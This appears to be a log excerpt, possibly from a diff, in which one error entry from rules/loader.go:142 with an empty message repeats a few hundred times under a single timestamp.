+time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:18+01:00 level=error msg= 